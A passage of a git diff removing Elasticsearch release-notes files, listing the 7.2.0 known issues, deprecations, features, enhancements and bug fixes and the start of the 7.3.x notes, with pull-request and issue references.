-* SecurityIndexSearcherWrapper doesn't always carry over caches and similarity {es-pull}43436[#43436]
-
-
-[[release-notes-7.2.0]]
-== {es} version 7.2.0
-
-Also see <<breaking-changes-7.2,Breaking changes in 7.2>>.
-
-[discrete]
-=== Known issues
-
-* Applying deletes or updates on an index after it has been shrunk may corrupt
-the index. In order to prevent this issue, it is recommended to stop shrinking
-read-write indices. For read-only indices, it is recommended to force-merge
-indices after shrinking, which significantly reduces the likeliness of this
-corruption in the case that deletes/updates would be applied by mistake. This
-bug is fixed in {es} 7.7 and later versions. More details can be found on the
-https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-* Indices created in 6.x with <<date,`date`>> and <<date_nanos,`date_nanos`>> fields using formats
-that are incompatible with java.time patterns will cause parsing errors, incorrect date calculations or wrong search results.
-https://github.com/elastic/elasticsearch/pull/52555
-This is fixed in {es} 7.7 and later versions.
-
-[[breaking-7.2.0]]
-[discrete]
-=== Breaking changes
-
-Cluster Coordination::
-* Reject port ranges in `discovery.seed_hosts` {es-pull}41404[#41404] (issue: {es-issue}40786[#40786])
-
-
-[[breaking-java-7.2.0]]
-[discrete]
-=== Breaking Java changes
-
-Infra/Plugins::
-* Remove IndexStore and DirectoryService {es-pull}42446[#42446]
-
-
-[[deprecation-7.2.0]]
-[discrete]
-=== Deprecations
-
-Authorization::
-* Deprecate permission over aliases {es-pull}38059[#38059]
-
-Features/Features::
-* Add deprecation check for ILM poll interval <1s {es-pull}41096[#41096] (issue: {es-issue}39163[#39163])
-
-Mapping::
-* Enforce Completion Context Limit {es-pull}38675[#38675] (issue: {es-issue}32741[#32741])
-
-Reindex::
-* Reindex from remote deprecation of escaped index {es-pull}41005[#41005] (issue: {es-issue}40303[#40303])
-
-Search::
-* Deprecate using 0 value for `min_children` in `has_child` query #41548 {es-pull}41555[#41555] (issue: {es-issue}41548[#41548])
-* Deprecate support for first line empty in msearch API {es-pull}41442[#41442] (issue: {es-issue}41011[#41011])
-
-Security::
-* Deprecate the native realm migration tool {es-pull}42142[#42142]
-
-[[feature-7.2.0]]
-[discrete]
-=== New features
-
-Authentication::
-* Add an OpenID Connect authentication realm {es-pull}40674[#40674]
-
-Distributed::
-* Add support for replicating closed indices {es-pull}39499[#39499] (issues: {es-issue}33888[#33888], {es-issue}33903[#33903], {es-issue}37359[#37359], {es-issue}37413[#37413], {es-issue}38024[#38024], {es-issue}38326[#38326], {es-issue}38327[#38327], {es-issue}38329[#38329], {es-issue}38421[#38421], {es-issue}38631[#38631], {es-issue}38767[#38767], {es-issue}38854[#38854], {es-issue}38955[#38955], {es-issue}39006[#39006], {es-issue}39110[#39110], {es-issue}39186[#39186], {es-issue}39249[#39249], {es-issue}39364[#39364])
-
-Infra/Scripting::
-* Add painless string split function (splitOnToken) {es-pull}39772[#39772] (issue: {es-issue}20952[#20952])
-* Add a Painless Context REST API {es-pull}39382[#39382]
-
-Machine Learning::
-* Add data frame feature {es-pull}38934[#38934]
-
-Ranking::
-* Expose proximity boosting {es-pull}39385[#39385] (issue: {es-issue}33382[#33382])
-* Add randomScore function in script_score query {es-pull}40186[#40186] (issue: {es-issue}31461[#31461])
-
-SQL::
-* Add initial geo support {es-pull}42031[#42031] (issues: {es-issue}29872[#29872], {es-issue}37206[#37206])
-* Implement CASE... WHEN... THEN... ELSE... END {es-pull}41349[#41349] (issue: {es-issue}36200[#36200])
-* Introduce MAD (MedianAbsoluteDeviation) aggregation {es-pull}40048[#40048] (issue: {es-issue}39597[#39597])
-* Introduce SQL TIME data type {es-pull}39802[#39802] (issue: {es-issue}38174[#38174])
-* Introduce the columnar option for REST requests {es-pull}39287[#39287] (issue: {es-issue}37702[#37702])
-
-Snapshot/Restore::
-* Allow snapshotting replicated closed indices {es-pull}39644[#39644] (issue: {es-issue}33888[#33888])
-
-Suggesters::
-* Search as you type fieldmapper {es-pull}35600[#35600] (issue: {es-issue}33160[#33160])
-
-Features/Ingest::
-* Add HTML strip processor {es-pull}41888[#41888]
-
-Search::
-* Add an option to force the numeric type of a field sort {es-pull}38095[#38095] (issue: {es-issue}32601[#32601])
-
-
-[[enhancement-7.2.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Use the breadth first collection mode for significant terms aggs. {es-pull}29042[#29042] (issue: {es-issue}28652[#28652])
-* Disallow null/empty or duplicate composite sources {es-pull}41359[#41359] (issue: {es-issue}32414[#32414])
-* Move top-level pipeline aggs out of QuerySearchResult {es-pull}40319[#40319] (issue: {es-issue}40177[#40177])
-* Remove throws IOException from PipelineAggregationBuilder#create {es-pull}40222[#40222]
-* Better error messages when pipelines reference incompatible aggs {es-pull}40068[#40068] (issues: {es-issue}25273[#25273], {es-issue}30152[#30152])
-* Do not allow Sampler to allocate more than maxDoc size, better CB accounting {es-pull}39381[#39381] (issue: {es-issue}34269[#34269])
-* Force selection of calendar or fixed intervals in date histo agg {es-pull}33727[#33727]
-
-Allocation::
-* Reset failed allocation counter before executing routing commands {es-pull}41050[#41050] (issue: {es-issue}39546[#39546])
-* Supporting automatic release of index blocks. Closes #39334 {es-pull}40338[#40338] (issue: {es-issue}39334[#39334])
-
-Analysis::
-* Add flag to declare token filters as updateable {es-pull}36103[#36103] (issue: {es-issue}29051[#29051])
-
-Authentication::
-* Hash token values for storage {es-pull}41792[#41792] (issues: {es-issue}39631[#39631], {es-issue}40765[#40765])
-* Security Tokens moved to a new separate index {es-pull}40742[#40742] (issue: {es-issue}34454[#34454])
-* Support concurrent refresh of refresh tokens {es-pull}39631[#39631] (issue: {es-issue}36872[#36872])
-* Add enabled status for token and api key service {es-pull}38687[#38687] (issue: {es-issue}38535[#38535])
-
-Authorization::
-* Support mustache templates in role mappings {es-pull}39984[#39984] (issue: {es-issue}36567[#36567])
-* Add .code_internal-* index pattern to kibana user {es-pull}42247[#42247]
-* Add granular API key privileges {es-pull}41488[#41488] (issue: {es-issue}40031[#40031])
-* Add Kibana application privileges for monitoring and ml reserved roles {es-pull}40651[#40651]
-* Support roles with application privileges against wildcard applications {es-pull}40398[#40398]
-
-CCR::
-* Replay history of operations in remote recovery {es-pull}39153[#39153] (issues: {es-issue}35975[#35975], {es-issue}39000[#39000])
-
-CRUD::
-* Add details to BulkShardRequest#getDescription() {es-pull}41711[#41711]
-* Add version-based validation to reindex requests {es-pull}38504[#38504] (issue: {es-issue}37855[#37855])
-
-Cluster Coordination::
-* Add GET /_cluster/master endpoint {es-pull}40047[#40047]
-* Only connect to new nodes on new cluster state {es-pull}39629[#39629] (issues: {es-issue}29025[#29025], {es-issue}31547[#31547])
-* Add has_voting_exclusions flag to cluster health output {es-pull}38568[#38568]
-
-Data Frame::
-* Persist and restore checkpoint and position {es-pull}41942[#41942] (issue: {es-issue}41752[#41752])
-* Complete the Data Frame task on stop {es-pull}41752[#41752]
-* Data Frame stop all {es-pull}41156[#41156]
-* Data Frame HLRC Get Stats API {es-pull}40327[#40327]
-* Data Frame HLRC Get API {es-pull}40209[#40209]
-* Data Frame HLRC Preview API {es-pull}40206[#40206]
-* Data Frame HLRC start & stop APIs {es-pull}40154[#40154] (issue: {es-issue}29546[#29546])
-* Add Data Frame client to the Java HLRC {es-pull}39921[#39921]
-
-Discovery-Plugins::
-* Upgrade SDK and test discovery-ec2 credential providers {es-pull}41732[#41732]
-
-Distributed::
-* Prevent in-place downgrades and invalid upgrades {es-pull}41731[#41731]
-* Add index name to cluster block exception {es-pull}41489[#41489] (issue: {es-issue}40870[#40870])
-* Noop peer recoveries on closed index {es-pull}41400[#41400] (issue: {es-issue}33888[#33888])
-* Do not trim unsafe commits when open readonly engine {es-pull}41041[#41041] (issue: {es-issue}33888[#33888])
-* Avoid background sync on relocated primary {es-pull}40800[#40800] (issue: {es-issue}40731[#40731])
-* No mapper service and index caches for replicated closed indices {es-pull}40423[#40423]
-* Add support for replicating closed indices {es-pull}39499[#39499] (issues: {es-issue}33888[#33888], {es-issue}33903[#33903], {es-issue}37359[#37359], {es-issue}37413[#37413], {es-issue}38024[#38024], {es-issue}38326[#38326], {es-issue}38327[#38327], {es-issue}38329[#38329], {es-issue}38421[#38421], {es-issue}38631[#38631], {es-issue}38767[#38767], {es-issue}38854[#38854], {es-issue}38955[#38955], {es-issue}39006[#39006], {es-issue}39110[#39110], {es-issue}39186[#39186], {es-issue}39249[#39249], {es-issue}39364[#39364])
-
-Docs Infrastructure::
-* Docs: Simplifying setup by using module configuration variant syntax {es-pull}40879[#40879]
-
-Engine::
-* Simplify initialization of max_seq_no of updates {es-pull}41161[#41161] (issues: {es-issue}33842[#33842], {es-issue}40249[#40249])
-* Adjust init map size of user data of index commit {es-pull}40965[#40965]
-* Don't mark shard as refreshPending on stats fetching {es-pull}40458[#40458] (issues: {es-issue}33835[#33835], {es-issue}33847[#33847])
-* Reject illegal flush parameters {es-pull}40213[#40213] (issue: {es-issue}36342[#36342])
-* Always fail engine if delete operation fails {es-pull}40117[#40117] (issue: {es-issue}33256[#33256])
-* Combine overriddenOps and skippedOps in translog {es-pull}39771[#39771] (issue: {es-issue}33317[#33317])
-* Return cached segments stats if `include_unloaded_segments` is true {es-pull}39698[#39698] (issue: {es-issue}39512[#39512])
-* Allow inclusion of unloaded segments in stats {es-pull}39512[#39512]
-* Never block on scheduled refresh if a refresh is running {es-pull}39462[#39462]
-* Expose external refreshes through the stats API {es-pull}38643[#38643] (issue: {es-issue}36712[#36712])
-* Make setting index.translog.sync_interval be dynamic {es-pull}37382[#37382] (issue: {es-issue}32763[#32763])
-
-Features/CAT APIs::
-* Add start and stop time to cat recovery API {es-pull}40378[#40378]
-* Return 0 for negative "free" and "total" memory reported by the OS {es-pull}42725[#42725] (issue: {es-issue}42157[#42157])
-
-Features/Indices APIs::
-* Introduce aliases version {es-pull}41397[#41397] (issue: {es-issue}41396[#41396])
-* Improve error message for absence of indices {es-pull}39789[#39789] (issues: {es-issue}38964[#38964], {es-issue}39296[#39296])
-* Improved error message for absence of indices closes #38964 {es-pull}39296[#39296]
-
-Features/Java High Level REST Client::
-* Added param ignore_throttled=false when indicesOptions.ignoreThrottle… {es-pull}42393[#42393] (issue: {es-issue}42358[#42358])
-* Ignore 409 conflict in reindex responses {es-pull}39543[#39543]
-
-Features/Monitoring::
-* Add packaging to cluster stats response {es-pull}41048[#41048] (issue: {es-issue}39378[#39378])
-
-Geo::
-* Improve accuracy for Geo Centroid Aggregation {es-pull}41033[#41033] (issue: {es-issue}41032[#41032])
-* Add support for z values to libs/geo classes {es-pull}38921[#38921]
-* Add ST_WktToSQL function {es-pull}35416[#35416] (issue: {es-issue}29872[#29872])
-
-Infra/Core::
-* Validate non-secure settings are not in keystore {es-pull}42209[#42209] (issue: {es-issue}41831[#41831])
-* Implement XContentParser.genericMap and XContentParser.genericMapOrdered methods {es-pull}42059[#42059]
-* Remove manual parsing of JVM options {es-pull}41962[#41962] (issue: {es-issue}30684[#30684])
-* Clarify some ToXContent implementations behaviour {es-pull}41000[#41000] (issue: {es-issue}16347[#16347])
-* Remove String interning from `o.e.index.Index`. {es-pull}40350[#40350] (issue: {es-issue}40263[#40263])
-* Do not swallow exceptions in TimedRunnable {es-pull}39856[#39856] (issue: {es-issue}36137[#36137])
-
-Infra/Logging::
-* Reduce garbage from allocations in DeprecationLogger {es-pull}38780[#38780] (issues: {es-issue}35754[#35754], {es-issue}37411[#37411], {es-issue}37530[#37530])
-
-Infra/Packaging::
-* Clearer error message - installing windows service {es-pull}33804[#33804]
-
-Infra/Resiliency::
-* Limit max direct memory size to half of heap size {es-pull}42006[#42006] (issues: {es-issue}41954[#41954], {es-issue}41962[#41962])
-
-Infra/Scripting::
-* Add implicit this for class binding in Painless {es-pull}40285[#40285]
-* Whitelist geo methods for Painless {es-pull}40180[#40180] (issue: {es-issue}24946[#24946])
-
-Machine Learning::
-* Improve message misformation error in file structure finder {es-pull}42175[#42175]
-* Improve hard_limit audit message {es-pull}42086[#42086] (issue: {es-issue}38034[#38034])
-* Add validation that rejects duplicate detectors in PutJobAction {es-pull}40967[#40967] (issue: {es-issue}39704[#39704])
-* Add created_by info to usage stats {es-pull}40518[#40518] (issue: {es-issue}38403[#38403])
-* Data frame transforms config HLRC objects {es-pull}39691[#39691]
-* Use scaling thread pool and xpack.ml.max_open_jobs cluster-wide dynamic {es-pull}39320[#39320] (issue: {es-issue}29809[#29809])
-* Add task recovery on node change  {es-pull}39416[#39416]
-* Stop tasks on failure {es-pull}39203[#39203]
-* Add _preview endpoint {es-pull}38924[#38924]
-* Use hardened compiler options to build 3rd party libraries {ml-pull}453[#453]
-* Only select more complex trend models for forecasting if there is evidence that they are needed
-{ml-pull}463[#463]
-* Improve residual model selection {ml-pull}468[#468]
-* Stop linking to libcrypt on Linux {ml-pull}480[#480]
-* Improvements to hard_limit audit message {ml-pull}486[#486]
-* Increase maximum forecast interval from 8 weeks to a limit based on the amount
-of data seen, up to a maximum of 10 years {ml-pull}214[#214] and
-{es-pull}41082[#41082] (issue: {es-issue}41103[#41103])
-
-Mapping::
-* Updates max dimensions for sparse_vector and dense_vector to 1024. {es-pull}40597[#40597] (issue: {es-issue}40492[#40492])
-* Add ignore_above in ICUCollationKeywordFieldMapper {es-pull}40414[#40414] (issue: {es-issue}40413[#40413])
-* Adding a soft limit to the field name length. Closes #33651 {es-pull}40309[#40309] (issue: {es-issue}33651[#33651])
-
-Network::
-* Update ciphers for TLSv1.3 and JDK11 if available {es-pull}42082[#42082] (issues: {es-issue}38646[#38646], {es-issue}41385[#41385], {es-issue}41808[#41808])
-* Show SSL usage when security is not disabled {es-pull}40672[#40672] (issue: {es-issue}37433[#37433])
-* Optimize Bulk Message Parsing and Message Length Parsing {es-pull}39634[#39634] (issue: {es-issue}39286[#39286])
-* Netty transport accept plaintext connections {es-pull}39532[#39532] (issue: {es-issue}39531[#39531])
-* Chunk + Throttle Netty Writes {es-pull}39286[#39286]
-
-Ranking::
-* Improve error message for ln/log with negative results in function score {es-pull}41609[#41609] (issue: {es-issue}41509[#41509])
-
-Recovery::
-* Peer recovery should flush at the end {es-pull}41660[#41660] (issues: {es-issue}33888[#33888], {es-issue}39588[#39588], {es-issue}40024[#40024])
-* Peer recovery should not indefinitely retry on mapping error {es-pull}41099[#41099] (issue: {es-issue}40913[#40913])
-* Init global checkpoint after copy commit in peer recovery {es-pull}40823[#40823] (issue: {es-issue}33888[#33888])
-* Ensure sendBatch not called recursively {es-pull}39988[#39988]
-
-Reindex::
-* Reindex from Remote allow date math {es-pull}40303[#40303] (issue: {es-issue}23533[#23533])
-
-SQL::
-* Implement IIF(<cond>, <result1>, <result2>) {es-pull}41420[#41420] (issue: {es-issue}40917[#40917])
-* Use field caps inside DESCRIBE TABLE as well {es-pull}41377[#41377] (issue: {es-issue}34071[#34071])
-* Implement CURRENT_TIME/CURTIME functions {es-pull}40662[#40662] (issue: {es-issue}40648[#40648])
-* Polish behavior of SYS TABLES command {es-pull}40535[#40535] (issue: {es-issue}40348[#40348])
-* Adjust the precision and scale for drivers {es-pull}40467[#40467] (issue: {es-issue}40357[#40357])
-* Polish parsing of CAST expression {es-pull}40428[#40428]
-* Fix classpath discovery on Java 10+ {es-pull}40420[#40420] (issue: {es-issue}40388[#40388])
-* Spec tests now use classpath discovery {es-pull}40388[#40388] (issue: {es-issue}40358[#40358])
-* Implement `::` cast operator {es-pull}38774[#38774] (issue: {es-issue}38717[#38717])
-
-Search::
-* Fix range query edge cases {es-pull}41160[#41160] (issue: {es-issue}40937[#40937])
-* Add stopword support to IntervalBuilder {es-pull}39637[#39637]
-* Shortcut counts on exists queries {es-pull}39570[#39570] (issue: {es-issue}37475[#37475])
-* Completion suggestions to be reduced once instead of twice {es-pull}39255[#39255]
-* Rename SearchRequest#withLocalReduction {es-pull}39108[#39108]
-* Tie break search shard iterator comparisons on cluster alias {es-pull}38853[#38853]
-* Clean up ShardSearchLocalRequest {es-pull}38574[#38574]
-* Handle unmapped fields in _field_caps API {es-pull}34071[#34071]
-* Make 0 as invalid value for `min_children` in `has_child` query {es-pull}33073[#33073] (issue: {es-issue}32949[#32949])
-* Analyze numbers, dates and ips with a whitespace analyzer in text queries {es-pull}27395[#27395]
-* Add date and date_nanos conversion to the numeric_type sort option {es-pull}40199[#40199]
-* Add `use_field` option to intervals query {es-pull}40157[#40157]
-* Add overlapping, before, after filters to intervals query {es-pull}38999[#38999]
-
-Security::
-* Support concurrent refresh of refresh tokens {es-pull}38382[#38382] (issue: {es-issue}36872[#36872])
-
-Snapshot/Restore::
-* Remove IndexShard dependency from Repository  {es-pull}42213[#42213]
-* Add shared access signature authentication support {es-pull}42117[#42117]
-* Support multiple repositories in get snapshot request {es-pull}41799[#41799] (issue: {es-issue}41210[#41210])
-* Implement Bulk Deletes for GCS Repository {es-pull}41368[#41368] (issue: {es-issue}40322[#40322])
-* Add Bulk Delete Api to BlobStore {es-pull}40322[#40322] (issues: {es-issue}40144[#40144], {es-issue}40250[#40250])
-* Async Snapshot Repository Deletes {es-pull}40144[#40144] (issues: {es-issue}39656[#39656], {es-issue}39657[#39657])
-* Allow snapshotting replicated closed indices {es-pull}39644[#39644] (issue: {es-issue}33888[#33888])
-* Add support for S3 intelligent tiering (#38836) {es-pull}39376[#39376] (issue: {es-issue}38836[#38836])
-
-Store::
-* Log missing file exception when failing to read metadata snapshot {es-pull}32920[#32920]
-
-Suggesters::
-* Tie-break completion suggestions with same score and surface form {es-pull}39564[#39564]
-
-
-
-[[bug-7.2.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Update error message for allowed characters in aggregation names {es-pull}41573[#41573] (issue: {es-issue}41567[#41567])
-* Fix FiltersAggregation NPE when `filters` is empty {es-pull}41459[#41459] (issue: {es-issue}41408[#41408])
-* Fix unmapped field handling in the composite aggregation {es-pull}41280[#41280]
-
-Allocation::
-* Avoid bubbling up failures from a shard that is recovering {es-pull}42287[#42287] (issues: {es-issue}30919[#30919], {es-issue}40107[#40107])
-* Changed the position of reset counter {es-pull}39678[#39678] (issue: {es-issue}39546[#39546])
-
-Analysis::
-* Always use IndexAnalyzers in analyze transport action {es-pull}40769[#40769] (issue: {es-issue}29021[#29021])
-* Fix anaylze NullPointerException when AnalyzeTokenList tokens is null {es-pull}39332[#39332]
-* Fix anaylze NullPointerException when AnalyzeTokenList tokens is null {es-pull}39180[#39180]
-
-Authentication::
-* Refresh remote JWKs on all errors {es-pull}42850[#42850]
-* Fix refresh remote JWKS logic  {es-pull}42662[#42662]
-* Fix settings prefix for realm truststore password {es-pull}42336[#42336] (issues: {es-issue}30241[#30241], {es-issue}41663[#41663])
-* Merge claims from userinfo and ID Token correctly {es-pull}42277[#42277]
-* Do not refresh realm cache unless required {es-pull}42169[#42169] (issue: {es-issue}35218[#35218])
-* Amend `prepareIndexIfNeededThenExecute` for security token refresh {es-pull}41697[#41697]
-* Fix token Invalidation when retries exhausted {es-pull}39799[#39799]
-
-Authorization::
-* _cat/indices with Security, hide names when wildcard {es-pull}38824[#38824] (issue: {es-issue}37190[#37190])
-
-CCR::
-* CCR should not replicate private/internal settings {es-pull}43067[#43067] (issue: {es-issue}41268[#41268])
-
-CRUD::
-* Fix NPE when rejecting bulk updates {es-pull}42923[#42923]
-
-Cluster Coordination::
-* Reset state recovery after successful recovery {es-pull}42576[#42576] (issue: {es-issue}39172[#39172])
-* Omit non-masters in ClusterFormationFailureHelper {es-pull}41344[#41344]
-
-Data Frame::
-* Rewrite start and stop to answer with acknowledged {es-pull}42589[#42589] (issue: {es-issue}42450[#42450])
-* Set DF task state to stopped when stopping   {es-pull}42516[#42516] (issue: {es-issue}42441[#42441])
-* Add support for fixed_interval, calendar_interval, remove interval {es-pull}42427[#42427] (issues: {es-issue}33727[#33727], {es-issue}42297[#42297])
-
-Distributed::
-* Avoid loading retention leases while writing them {es-pull}42620[#42620] (issue: {es-issue}41430[#41430])
-* Do not use ifSeqNo for update requests on mixed cluster {es-pull}42596[#42596] (issue: {es-issue}42561[#42561])
-* Prevent order being lost for _nodes API filters {es-pull}42045[#42045] (issue: {es-issue}41885[#41885])
-* Ensure flush happen before closing an index {es-pull}40184[#40184] (issue: {es-issue}36342[#36342])
-
-Engine::
-* Account soft deletes for committed segments {es-pull}43126[#43126] (issue: {es-issue}43103[#43103])
-* Fix assertion error when caching the result of a search in a read-only index {es-pull}41900[#41900] (issue: {es-issue}41795[#41795])
-* Close and acquire commit during reset engine fix {es-pull}41584[#41584] (issue: {es-issue}38561[#38561])
-
-Features/ILM::
-* Make ILM force merging best effort {es-pull}43246[#43246] (issues: {es-issue}42824[#42824], {es-issue}43245[#43245])
-* Narrow period of Shrink action in which ILM prevents stopping {es-pull}43254[#43254] (issue: {es-issue}43253[#43253])
-
-Features/Indices APIs::
-* Add pre-upgrade check to test cluster routing allocation is enabled {es-pull}39340[#39340] (issue: {es-issue}39339[#39339])
-
-Features/Ingest::
-* Build local year inside DateFormat lambda {es-pull}42120[#42120]
-
-Features/Java High Level REST Client::
-* Fixes a bug in AnalyzeRequest.toXContent() {es-pull}42795[#42795] (issues: {es-issue}39670[#39670], {es-issue}42197[#42197])
-* StackOverflowError when calling BulkRequest#add {es-pull}41672[#41672]
-* HLRC: Convert xpack methods to client side objects {es-pull}40705[#40705] (issue: {es-issue}40511[#40511])
-* Rest-High-Level-Client:fix uri encode bug when url path start with '/' {es-pull}34436[#34436] (issue: {es-issue}34433[#34433])
-
-Features/Watcher::
-* NullPointerException when creating a watch with Jira action (#41922) {es-pull}42081[#42081]
-* Fix minor watcher bug, unmute test, add additional debug logging {es-pull}41765[#41765] (issues: {es-issue}29893[#29893], {es-issue}30777[#30777], {es-issue}33291[#33291], {es-issue}35361[#35361])
-* Fix Watcher deadlock that can cause in-abilty to index documents. {es-pull}41418[#41418] (issue: {es-issue}41390[#41390])
-
-Geo::
-* Improve error message when polygons contains twice the same point in no-consecutive position {es-pull}41051[#41051] (issue: {es-issue}40998[#40998])
-
-Highlighting::
-* Bug fix for AnnotatedTextHighlighter - port of 39525 {es-pull}39749[#39749] (issue: {es-issue}39525[#39525])
-
-Infra/Core::
-* Fix roundUp parsing with composite patterns {es-pull}43080[#43080] (issue: {es-issue}42835[#42835])
-* scheduleAtFixedRate would hang {es-pull}42993[#42993] (issue: {es-issue}38441[#38441])
-* Only ignore IOException when fsyncing on dirs {es-pull}42972[#42972] (issue: {es-issue}42950[#42950])
-* Fix node close stopwatch usage {es-pull}41918[#41918]
-* Make ISO8601 date parser accept timezone when time does not have seconds {es-pull}41896[#41896]
-* Allow unknown task time in QueueResizingEsTPE {es-pull}41810[#41810] (issue: {es-issue}41448[#41448])
-* Parse composite patterns using ClassicFormat.parseObject {es-pull}40100[#40100] (issue: {es-issue}39916[#39916])
-
-Infra/Packaging::
-* Don't create tempdir for cli scripts {es-pull}41913[#41913] (issue: {es-issue}34445[#34445])
-* Cleanup plugin bin directories {es-pull}41907[#41907] (issue: {es-issue}18109[#18109])
-* Update lintian overrides {es-pull}41561[#41561] (issue: {es-issue}17185[#17185])
-* Resolve JAVA_HOME at windows service install time {es-pull}39714[#39714] (issue: {es-issue}30720[#30720])
-
-Infra/Settings::
-* Handle UTF-8 values in the keystore {es-pull}39496[#39496]
-* Handle empty input in AddStringKeyStoreCommand {es-pull}39490[#39490] (issue: {es-issue}39413[#39413])
-
-Machine Learning::
-* Fix possible race condition when closing an opening job {es-pull}42506[#42506]
-* Exclude analysis fields with core field names from anomaly results {es-pull}41093[#41093] (issue: {es-issue}39406[#39406])
-
-Mapping::
-* Fix possible NPE in put mapping validators {es-pull}43000[#43000] (issue: {es-issue}37675[#37675])
-* Fix merging of text field mappers {es-pull}40627[#40627]
-* Fix an off-by-one error in the vector field dimension limit. {es-pull}40489[#40489]
-* Fix not Recognizing Disabled Object Mapper {es-pull}39862[#39862] (issue: {es-issue}39456[#39456])
-* Avoid copying the field alias lookup structure unnecessarily. {es-pull}39726[#39726]
-* Handle NaNs when detrending seasonal components {ml-pull}408[#408]
-
-Network::
-* Don't require TLS for single node clusters {es-pull}42826[#42826]
-* Handle WRAP ops during SSL read {es-pull}41611[#41611]
-* SSLDriver can transition to CLOSED in handshake {es-pull}41458[#41458]
-* Handle Bulk Requests on Write Threadpool {es-pull}40866[#40866] (issues: {es-issue}39128[#39128], {es-issue}39658[#39658])
-
-Percolator::
-* Fixed ignoring name parameter for percolator queries {es-pull}42598[#42598] (issue: {es-issue}40405[#40405])
-
-Recovery::
-* Use translog to estimate number of operations in recovery {es-pull}42211[#42211] (issue: {es-issue}38904[#38904])
-* Recovery with syncId should verify seqno infos {es-pull}41265[#41265]
-* Retain history for peer recovery using leases {es-pull}39133[#39133]
-
-Reindex::
-* Remote reindex failure parse fix {es-pull}42928[#42928]
-* Fix concurrent search and index delete {es-pull}42621[#42621] (issue: {es-issue}28053[#28053])
-* Propogate version in reindex from remote search {es-pull}42412[#42412] (issue: {es-issue}31908[#31908])
-
-Rollup::
-* Fix max boundary for rollup jobs that use a delay {es-pull}42158[#42158]
-* Cleanup exceptions thrown during RollupSearch {es-pull}41272[#41272] (issue: {es-issue}38015[#38015])
-* Validate timezones based on rules not string comparision {es-pull}36237[#36237] (issue: {es-issue}36229[#36229])
-
-SQL::
-* Fix wrong results when sorting on aggregate {es-pull}43154[#43154] (issue: {es-issue}42851[#42851])
-* Cover the Integer type when extracting values from _source {es-pull}42859[#42859] (issue: {es-issue}42858[#42858])
-* Fix precedence of `::` psql like CAST operator {es-pull}40665[#40665]
-
-Search::
-* Fix IntervalBuilder#analyzeText to never return `null` {es-pull}42750[#42750] (issue: {es-issue}42587[#42587])
-* Fix sorting on nested field with unmapped {es-pull}42451[#42451] (issue: {es-issue}33644[#33644])
-* Always set terminated_early if terminate_after is set in the search request {es-pull}40839[#40839] (issue: {es-issue}33949[#33949])
-* more_like_this query to throw an error if the like fields is not provided {es-pull}40632[#40632]
-* Fixing 503 Service Unavailable errors during fetch phase  {es-pull}39086[#39086]
-* Fix IndexSearcherWrapper visibility {es-pull}39071[#39071] (issue: {es-issue}30758[#30758])
-
-Snapshot/Restore::
-* Fix Azure List by Prefix Bug {es-pull}42713[#42713]
-* Remove Harmful Exists Check from BlobStoreFormat {es-pull}41898[#41898] (issue: {es-issue}41882[#41882])
-* Restricts naming for repositories {es-pull}41008[#41008] (issue: {es-issue}40817[#40817])
-* SNAPSHOT: More Resilient Writes to Blob Stores {es-pull}36927[#36927] (issue: {es-issue}25281[#25281])
-
-Suggesters::
-* Handle min_doc_freq in suggesters {es-pull}40840[#40840] (issue: {es-issue}16764[#16764])
-
-
-[[upgrade-7.2.0]]
-[discrete]
-=== Upgrades
-
-Features/Watcher::
-* Replace javax activation with jakarta activation {es-pull}40247[#40247]
-* Replace java mail with jakarta mail {es-pull}40088[#40088]
-
-Infra/Core::
-* Update to joda time 2.10.2 {es-pull}42199[#42199]
-
-Network::
-* Upgrade to Netty 4.1.35 {es-pull}41499[#41499]
-
-
-
diff --git a/docs/reference/release-notes/7.3.asciidoc b/docs/reference/release-notes/7.3.asciidoc
deleted file mode 100644
index b81ba78e7da..00000000000
--- a/docs/reference/release-notes/7.3.asciidoc
+++ /dev/null
@@ -1,609 +0,0 @@
-[[release-notes-7.3.2]]
-== {es} version 7.3.2
-
-Also see <<breaking-changes-7.3,Breaking changes in 7.3>>.
-
-[[bug-7.3.2]]
-[discrete]
-=== Bug fixes
-
-Data Frame::
-* Fix off-by-one error in checkpoint operations_behind {es-pull}46235[#46235]
-
-Distributed::
-* Update translog checkpoint after marking operations as persisted {es-pull}45634[#45634] (issue: {es-issue}29161[#29161])
-
-Engine::
-* Handle delete document level failures {es-pull}46100[#46100] (issue: {es-issue}46083[#46083])
-* Handle no-op document level failures {es-pull}46083[#46083]
-
-Infra/Scripting::
-* Fix bugs in Painless SCatch node {es-pull}45880[#45880]
-
-Machine learning::
-* Throw an error when a datafeed needs {ccs} but it is not enabled for the node {es-pull}46044[#46044]
-
-SQL::
-* SQL: Fix issue with IIF function when condition folds {es-pull}46290[#46290] (issue: {es-issue}46268[#46268])
-* SQL: Fix issue with DataType for CASE with NULL {es-pull}46173[#46173] (issue: {es-issue}46032[#46032])
-
-Search::
-* Multi-get requests should wait for search active {es-pull}46283[#46283] (issue: {es-issue}27500[#27500])
-* Ensure top docs optimization is fully disabled for queries with unbounded max scores. {es-pull}46105[#46105] (issue: {es-issue}45933[#45933])
-
-
-[[release-notes-7.3.1]]
-== {es} version 7.3.1
-
-Also see <<breaking-changes-7.3,Breaking changes in 7.3>>.
-
-[[enhancement-7.3.1]]
-[discrete]
-=== Enhancements
-
-CCR::
-* Include leases in error message when operations are no longer available {es-pull}45681[#45681]
-
-Infra/Core::
-* Add OCI annotations and adjust existing annotations {es-pull}45167[#45167] (issues: {es-issue}45162[#45162], {es-issue}45166[#45166])
-
-Infra/Settings::
-* Normalize environment paths {es-pull}45179[#45179] (issue: {es-issue}45176[#45176])
-
-Machine Learning::
-* Outlier detection should only fetch docs that have the analyzed fields {es-pull}44944[#44944]
-
-SQL::
-* Remove deprecated use of "interval" from date_histogram usage {es-pull}45501[#45501] (issue: {es-issue}43922[#43922])
-
-
-[[bug-7.3.1]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix early termination of aggregators that run with breadth-first mode {es-pull}44963[#44963] (issue: {es-issue}44909[#44909])
-
-Analysis::
-* Enable reloading of synonym_graph filters {es-pull}45135[#45135] (issue: {es-issue}45127[#45127])
-
-Authentication::
-* Do not use scroll when finding duplicate API key {es-pull}45026[#45026]
-* Fix broken short-circuit in getUnlicensedRealms {es-pull}44399[#44399]
-
-CCR::
-* Clean up ShardFollowTasks for deleted indices {es-pull}44702[#44702] (issue: {es-issue}34404[#34404])
-
-CRUD::
